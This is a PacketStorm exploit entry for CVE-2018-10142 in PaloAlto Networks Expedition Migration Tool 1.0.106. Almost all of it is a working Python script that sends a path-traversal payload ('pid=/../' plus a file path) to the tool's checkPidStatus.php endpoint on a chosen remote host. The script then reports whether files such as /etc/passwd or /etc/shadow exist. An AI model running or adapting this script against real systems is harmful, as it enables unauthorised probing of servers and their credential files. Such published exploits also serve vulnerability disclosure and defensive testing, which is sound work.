PaloAlto Networks Expedition Migration Tool 1.0.106 Information Disclosure

2018-12-04T00:00:00
ID PACKETSTORM:150601
Type packetstorm
Reporter ParagonSec
Modified 2018-12-04T00:00:00

Description

                                        
                                            `# Exploit Title: PaloAlto Networks Expedition Migration Tool 1.0.106 - Information Disclosure  
# Date: 2018-11-28  
# Exploit Author: paragonsec @ Critical Start  
# Vendor Homepage: https://live.paloaltonetworks.com/t5/Expedition-Migration-Tool/ct-p/migration_tool  
# Software Link: https://paloaltonetworks.app.box.com/s/davuvo65k727nm7feuug0d783zo6fjx8  
# Version: 1.0.106  
# Tested on: Linux  
# CVE : 2018-10142  
  
#!/usr/bin/env python  
  
import argparse  
import requests  
import sys  
import collections  
  
#Colors  
OKRED = '\033[91m'  
OKGREEN = '\033[92m'  
ENDC = '\033[0m'  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--rhost", help = "Remote Host")  
parser.add_argument('--file', help = 'File to check (e.g /etc/passwd, /etc/shadow)')  
args = parser.parse_args()  
  
# Check to ensure at least one argument has been passed  
if len(sys.argv)==1:  
parser.print_help(sys.stderr)  
sys.exit(1)  
  
rhost = args.rhost  
rfile = args.file  
  
exploit_url = "http://" + rhost + "/API/process/checkPidStatus.php"  
  
headers = [  
('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),  
('Accept', 'application/json, text/javascript, */*; q=0.01'),  
('Accept-Language', 'en-US,en;q=0.5'),  
('Accept-Encoding', 'gzip, deflate'),  
('Connection', 'close')  
]  
  
# probably not necessary but did it anyways  
headers = collections.OrderedDict(headers)  
  
# Setting up GET body parameters  
body = "pid=/../" + rfile  
  
print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)")  
print(OKGREEN + "CVE: " + ENDC + "2018-10142")  
print(OKGREEN + "Description: " + ENDC + "Information Disclosure in Expedition Migration Tool")  
print(OKGREEN + "Vuln Versions: " + ENDC + "< 1.0.107\n")  
  
print(OKGREEN + "[+]" + ENDC + "Running exploit...")  
  
s = requests.Session()  
  
req = requests.post(exploit_url, headers=headers, data=body)  
if "false" not in req.text:  
print(OKGREEN + "[+]" + ENDC + "Exploit worked! " + rfile + " exists!\n")  
else:  
print(OKRED + "[!]" + ENDC + "File " + rfile + " does not exist!\n")  
  
  
  
`